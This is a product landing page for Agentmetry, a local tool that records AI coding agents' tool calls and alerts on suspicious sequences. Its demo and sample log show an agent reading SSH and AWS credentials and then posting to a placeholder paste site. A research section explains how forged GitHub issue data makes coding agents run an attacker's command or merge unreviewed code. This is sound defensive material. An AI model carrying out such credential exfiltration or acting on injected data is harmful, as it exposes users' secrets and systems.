The flight recorderfor AI coding agents.
\[ recording \]
The flight recorder
for AI coding agents.Your agent reads a private key, then makes a network call. Your EDR sees a process. Agentmetry sees the sequence, tags it with MITRE ATT&CK, and fires one critical alert. Runs entirely on your machine.
$ git clone https://github.com/blitzcrieg1/agentmetry.git && cd agentmetry && pip install -e apps/orchestrator && python scripts/demo.py
Windows full install: powershell -ExecutionPolicy Bypass -File scripts\\install.ps1
Apache-2.0 · open source9 detection rules0 cloud callsFor platform teams, security engineers, and devs dogfooding Cursor / Claude Code
agentmetry demo
$ python scripts/demo.py
The session
cursor.ReadT1552.004Credential Access · cat \~/.ssh/id\_rsa
cursor.ShellT1059Execution · aws configure listdlp:aws\_access\_key
WebFetchT1071.001Command and Control · fetch https://paste.example.com/upload
CRITICALcredential-exfil
cursor.Read accessed credentials, then WebFetch egressed to the network in the same session.
ATT&CK: T1552.004 → T1071.001 · correlates 2 events
Secret value written to the trail? NO
Phase 1 flight recorder — detections strip, histogram, live ingest status
\[ 01 \] who it is for
Built for the security engineer who found out about Cursor from a pull request.
Your developers shipped Cursor, Claude Code, Codex and Antigravity into real repositories, with real credentials, and nobody told the security team. You cannot audit what you never recorded. Agentmetry records it at the tool boundary, on the machine, in a format your SIEM already reads.
- →SOC and DevSecOps teams governing agents they did not choose.
- →Platform engineers who need an evidence trail for an incident, not a token-cost chart.
- →EU shops that need the record on their own hardware for the AI Act and GDPR.
- →Anyone who has to answer what the agent actually did, after the fact.
\[ 02 \] capabilities
Endpoint security, adapted for autonomous agents.
01 / capture
Hooks and MCP proxy
IDE lifecycle hooks for Cursor, Claude Code, Codex and Antigravity, plus a stdio audit proxy that wraps any MCP server. Arguments are SHA-256 hashed in the hook process by default.
02 / correlate
Sequence detection
Per-event MITRE tags say what one call is. Nine rules say what a sequence means: credential access then egress, a denied approval that ran anyway, a PR merged without reading the diff, a download cradle piped into a shell, recon then collect.
03 / prevent
Local DLP
A regex engine scans tool arguments in the hook process, before execution and before storage. AWS keys, GitHub PATs, Slack tokens, bearer headers, private keys and SSNs. Set it to log or block.
0cloud calls. The trail is a hash-chained JSONL file you own.
9correlated detection rules, extensible in \~20 lines.
4SIEM sinks: Loki, Elastic ECS, Splunk HEC, webhook.
\[ 03 \] research
When every guardrail passes, behaviour is the only evidence left.
Agent Data Injection Attacks are Realistic Threats to AI Agents (Choi et al., July 2026) demonstrates remote code execution and supply-chain compromise against Claude Code, Codex, Gemini CLI and Antigravity. It hides malicious data inside content the agent already trusts, such as a GitHub issue comment with forged author metadata, so the agent runs an attacker's command believing a maintainer sent it.
The paper tested model hardening, input guardrails, alignment guardrails, plan-then-execute, sandboxing and dual-LLM. All of them fail, for one reason:
ADI “corrupts only the data the agent acts on, leaving the agent’s task aligned with the user prompt.”
Nothing about the request looks wrong. The agent is doing what you asked. That is exactly the case a flight recorder exists for.
To be clear: Agentmetry does not prevent this and does not claim to. Prevention means isolating trusted from untrusted data inside the agent, which is the paper’s own conclusion and is not something a recorder can do. We detect the consequence.
Remote code execution§4.2
`gh issue view → attacker's command`
encoded-command-downloaduntrusted-input-then-risky-action
Supply chain§4.3
`gh pr view → merge, diff never read`
pr-merged-without-review
Both chains fire on a stock install. A benign session (read issue, run tests, view PR, read diff, merge) stays clean.
\[ 04 \] pipeline
Four stages, all on your machine.
01
Capture
Lifecycle hooks and the MCP proxy record every tool call before arguments leave the hook process.
02
Normalize
Events become canonical JSONL v1.1.0 with MITRE ATT&CK tags, hashed arguments, and a tamper-evident hash chain on the file sink.
03
Correlate
Rules run over each session as events arrive. A firing rule is emitted once, as an event.
04
Forward
The same trail streams to Loki, Elastic, Splunk or a webhook. Optional, and never the source of truth.
audit-forward.jsonltail -f
14:22:01T1059cursor.Shell · pytest tests/ -q
14:22:03T1083Glob · \\/\*.ts
14:22:07T1552.001cursor.Read · \~/.aws/credentials
14:22:11T1071.001WebFetch · paste.example.com/upload
14:22:11detectioncredential-exfil · CRITICAL
flight recorder · localhost:3000live
\[ 05 \] where it fits
Observability optimizes the model. Agentmetry governs the agent.
The tools you already know watch the LLM as a workload to make faster and cheaper. Agentmetry watches agent tool-use as a threat surface. Different job, honestly stated.
| | local-first securityAgentmetry | LLM observabilityLangfuse · AgentOps · Arize | cloud SIEMDatadog Cloud SIEM | | -------------------------- | ---------------------------------- | -------------------------------------------- | ---------------------------- | | Watches | Agent tool-use as a threat surface | LLM calls as a workload to optimize | Infrastructure and app logs | | Deploys | Local-first, on your machine | Cloud SaaS | Cloud SaaS | | Session + intent aware | Yes | Traces, not threats | No | | MITRE sequence detection | Yes, 9 rules | No | Rules on logs, not sessions | | Tamper-evident local trail | Yes, hash chain | No | Vendor held | | Token / cost dashboards | No | Yes | No | | Maturity | Public alpha | Mature | Mature |
Where Agentmetry is worse today. No token or cost analytics, no hosted cloud, and it is a public alpha. If you want to know what your agents cost, use Langfuse. If you want to know what your agents did, in a record your SIEM understands and your auditor trusts, use Agentmetry. Most teams end up wanting both.
\[ 06 \] what it does not do
The honest limits.
It is not a CASB.
It records the agents you wire in. An unmanaged ChatGPT tab in a browser is invisible to it. That is network and endpoint policy territory, a different problem.
It is a recorder, not a sandbox.
It records what an agent did. It does not stop an agent that avoids the hooked tools. If your threat model is a determined, evasive agent, you want an egress proxy.
The DLP is regex, not ML.
Seven rules with validators. It is a starting pack you extend in YAML, not a data-classification product.
It is alpha.
APIs and integration surfaces may evolve. Live detection checkpoint state persists in SQLite across restarts; the hash-chained JSONL trail is the authoritative record.
Know what your agents actually did.
Apache-2.0. Runs on your machine, not ours. No account, no telemetry.